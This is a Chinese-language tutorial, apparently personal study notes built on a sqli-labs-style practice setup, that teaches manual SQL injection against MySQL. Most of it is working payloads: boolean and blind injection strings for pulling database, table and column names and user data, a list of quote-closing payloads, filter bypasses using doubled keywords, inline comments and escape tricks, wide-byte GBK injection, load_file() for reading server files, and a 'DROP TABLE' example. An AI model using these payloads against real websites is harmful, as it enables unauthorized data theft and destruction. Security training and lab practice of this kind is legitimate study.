手动注入注入过程
假设现在尝试注入接收参数为id,后端sql语句为SELECT * FROM table where id = 'input';
1.通过报错判断闭合方式
id=1' and 1=1 --+
如果回显与id=1相同则可能存在注入
再测试id=1' and 1=2 --+
如果回显错误则说明and 1=1和and 1=2可以在数据库中执行,证明存在sql注入漏洞
2..列字段id=1 ' order by 3 --+
回显true
id=1 ' order by 4 --+
回显false,因此确定字段数为3
3.联合注入id=1 ' union select 1,2,3 --+
此时页面无返回结果,猜想可能存在盲注
可以使用sqlmap进行盲注
或者继续手动盲注探测
下面是盲注原理:
4.对mysql版本进行尝试
id=1 ' and left(version(),1)=1 --+
页面返回正常,mysql的版本用的是1.xxx的,这里的语句的意思是测试mysql版本号的第一位是不是1,回显的结果是正确的
5.探测数据库
猜测数据库长度
id=1 ' and length(database())=8--+
security数据库长度为8位,页面返回正常
猜测数据库第一位字符
?id=1' and left(database(),1)>'a' --+
利用二分法可以快速猜解数据库名。
6.猜测数据库中的数据表
假设数据表
mysql> show tables;
+--------------------+
| Tables_in_security |
+--------------------+
| emails |
| referers |
| uagents |
| users |
+--------------------+
通过猜测判断数据表内容
猜测数据表的第一位字符
id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>80 --+
猜测数据表的第二位字符
substr(**,2,1)
猜测第二个数据表
limit 1,1
limit 0,1意思就是从第0 个开始,获取第一个。 6.获取users表中的数据
猜测users表中是否存在us**的列
id=1' and 1=(select 1 from information_schema.columns where table_name='users' and table_name regexp '^us[a-z]' limit 0,1 ) --+
猜测是否存在username列
id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^username' limit 0,1 ) --+
获取users表的内容
id=1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))=
68--+
尝试猜解后台sql语句,构造poc
常用的payload
(攻击载荷)
' and 1=1 #
' or 1=1 --
" and 1=1 --
" or 1=1 --
') and 1=1 --
") and 1=1 --
'") and 1=1 --
对应的sql语句一般为
select * from table where id = 'input'
select * from table where id = "input"
select * from table where id = ("input")
select * from table where id = ('input')
select * from table where id = ("'input'"")
闭合方式
数字型:无闭合 or )or ))
字符型:' or " or ') or ") or ')) or "))
表单名查询
使用 information_schema.TABLES
表来查询表单信息。你可以执行以下 SQL 语句:
SELECT TABLE_NAME
FROM INFORMATION_SCHEMA.TABLES
WHERE TABLE_SCHEMA = 'your_database_name';
字段名(列名)查询
要查询指定表单中的所有列(字段),可以使用以下 SQL 查询语句:
SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = '[表名]';
信息采集过程中常用函数
- version()——MySQL 版本
- user()——数据库用户名
- database()——数据库名
- @@datadir——数据库路径
- @@version_compile_os——操作系统版本
SQL语法中的特殊字符:
SQL注入 绕过and和or过滤:
/* */ 行内注释
-- , #,--+,%23 注释
注释都被限制了可以用or '1'='1/and '1'='1替换
原理是用or/and逻辑语句连接前后语句的同时,用单引号和后一个单引号形成闭合
空格替换
%0a,%0c,/**/
Example: SELECT * FROM users WHERE name = 'admin' --AND pass = 'pass'
; 连接查询语句
Example: SELECT * FROM users; DROP TABLE users;
',+,|| allows string concatenation
Char() 没有引号的字符
Example: SELECT * FROM users WHERE name = '+char(27) OR 1=1
常用函数
left(database(),1)>’s’
//left()函数
Explain:database()显示数据库名称,left(a,b)从左侧截取a 的前b 位
ascii(substr((select table_name information_schema.tables where tables_schema=database()limit 0,1),1,1))=101 --+
//substr()函数,ascii()函数
Explain:substr(a,b,c)从b 位置开始,截取字符串a 的c 长度。Ascii()将某个字符转换为ascii 值
ascii(substr((select database()),1,1))=98
ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))>98%23
//ORD()函数,MID()函数
Explain:mid(a,b,c)从位置b 开始,截取a 字符串的c 位。Ord()函数同ascii(),将字符转为ascii值
- load_file()导出文件
Load_file(file_name): 读取文件并返回该文件的内容作为一个字符串。
使用条件: A、必须有权限读取并且文件必须完全可读 and (select count(*) from mysql.user)>0/* 如果结果返回正常,说明具有读写权限。 and (select count(*) from mysql.user)>0/* 返回错误,应该是管理员给数据库帐户降权 B、欲读取文件必须在服务器上 C、必须指定文件完整的路径 D、欲读取文件必须小于max_allowed_packet
联合查询Union
联合查询用来结合两个或多个查询语句。
关于联合查询(UNION)需要注意的地方:
- 联合的每一个查询语句查询列数必须相同
如:SELECT first_name FROM user_system_data UNION SELECT login_count FROM user_data;
这样是不被允许的因为联合的两个SELECT查询字段数(高亮部分)必须相同; - The datatype of the first column in the first SELECT statement, must match the datatype of the first column in the second (third, fourth, …) SELECT Statement. The Same applies to all other columns.
SELECT first_name FROM user_system_data UNION SELECT login_count FROM user_data;
The UNION ALL Syntax also allows duplicate Values.
字句查询结合limit限制输出
在有些情况下对’/”做了转义在做sql注入的时候需要用到where key=”value” 就无法执行。这种情况可以使用字句查询先查询出value,再进行整句话的查询,例如:
假设当前sql注入点对引号("/')做了转义。
我们现在已经查出当前数据库的所有表名了:account,sql_admin_message,sql_message,sql_user_message,sql_vulnerability,this_flag,user,users,this_flag是我们想要的表;
按道理我们只用构造select 1, group_concat( column_name ) , 3 ,4,5from information_schema.columns where table_name= "this_flag"
就可以查出所有该表中字段了,但是这里的双引号被转义了。
我们就可以用:
select 1, group_concat( column_name ) , 3 ,4,5from information_schema.columns where table_name= ( select table_name from information_schema.tables where table_schema= database( ) LIMIT 5,1)就可以先查询出表名再进行字段查询
注:
1.( select table_name from information_schema.tables where table_schema= database( ) LIMIT 5,1)这句就是字句查询,意思是这个查询语句是用来查找当前数据库中第 6 张表的表名。
2.LIMIT 5,1 的意思是从查询结果的第五个开始取一个
处理显示不全
有些注入点只会显示查询出来的第一个结果,但是他不只一个结果就可以使用group_concat()函数将查询结果合并成一个。
比如:如下场景我尝试注入查询所有表名,但是发现只有一个结果,而且这个结果不是我们想要的结果,我们就可以想到会不会是只回显了第一个结果。
然后尝试用group_concat()将查询结果合并成一个,可以看见对于刚才同样的查询,输出了所有表单:
绕过过滤的技巧
双写绕过:加入我们要注入 and 但是后端对and做了过滤,就可以双写and来绕过过滤
假如输入:http://127.0.0.1:8011/wide.php?id=-1' and 1=1 --+
但是后端讲and替换了我们就可以构造如下注入;
http://127.0.0.1:8011/wide.php?id=-1' anandd 1=1 --+
这样他将中间的and替换成空后前面的an就和后面的d合起来就成了and
内联注释绕过:可以用 /* */ 行内注释进行分隔
假如输入:http://127.0.0.1:8011/wide.php?id=-1' and 1=1 --+
但是后端讲and替换了我们就可以构造如下注入;
http://127.0.0.1:8011/wide.php?id=-1' an/**/d 1=1 --+
这样他将中间的and替换成空后前面的an就和后面的d合起来就成了and
转义不全绕过: 部分开发者在开发后端程序时,可能会考虑到过滤特殊字符,而对特殊字符进行转义,但是并没有考虑完全所有的特殊字符情况。
比如:我输入单引号 ‘ ,到后端在单引号前面加了斜杠对其进行转义 /’ ,但是在开发时漏了转义符斜杠/,我就可以对后端新添加的斜杠进行转义。当我输入 /’ ,后端检测到 ‘ 就会在前面添加 / ,但是这时 新添加的 / 与我输入的 / ‘ 拼接。最后形成了 //’ 的场景,前一个/将后一个/转义了,后一个/就不能转义 ‘ 了。
利用宽字节的特性辅助注入
宽字节注入针对后端对单引号 ‘ 进行转义的情况,就是再前面添加斜杠 / ‘ ,以及类似转义情况
什么是宽字节注入
宽字节是相对于ascII这样单字节而言的;像 GB2312、GBK、GB18030、BIG5、Shift_JIS 等这些都是常说的宽字节,实际上只有两字节。GBK 是一种多字符的编码,通常来说,一个 gbk 编码汉字,占用2个字节。一个 utf-8 编码的汉字,占用3个字节。
转义函数:为了过滤用户输入的一些数据,对特殊的字符加上反斜杠“\”进行转义;(场景)
宽字节注入指的是 mysql 数据库在使用宽字节(GBK)编码时,会认为两个字符是一个汉字(产生原因)(前一个ascii码要大于128(比如%df),才到汉字的范围),而且当我们输入单引号时,mysql会调用转义函数,将单引号变为’,其中\的十六进制是%5c,mysql的GBK编码,会认为%df%5c是一个宽字节,也就是’運’(注入过程),从而使单引号闭合(逃逸),进行注入攻击。
示意图:
————————————————————宽字节注入出处
版权声明:本文为CSDN博主「炫彩@之星」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/lza20001103/article/details/124286601E
sqlmap中–tamper用来指定探测脚本,其中脚本“unmagicquotes.py”是用来做宽字节注入探测的
二次注入
二次注入(Second-order Injection)是SQL注入的一种变体,它发生在应用程序将用户输入存储到数据库中,并在后续的查询中再次使用该数据时。(原理有点像存储型XSS漏洞,都会将恶意代码存入数据库,在数据再次被调用时执行恶意语句)
二次注入的过程如下:
- 攻击者在应用程序的输入字段中注入恶意的SQL代码,这些输入字段通常用于存储用户提交的数据到数据库中。
- 应用程序将恶意注入的数据存储到数据库中,通常是作为文本或者字符串的形式。
- 在后续的查询中,应用程序从数据库中检索存储的数据,并将其用于构建SQL查询语句。
- 由于应用程序没有对存储的数据进行充分的验证和过滤,恶意的SQL代码会被执行,导致安全漏洞。
头部注入
Cookie注入
X-Forwarded-For注入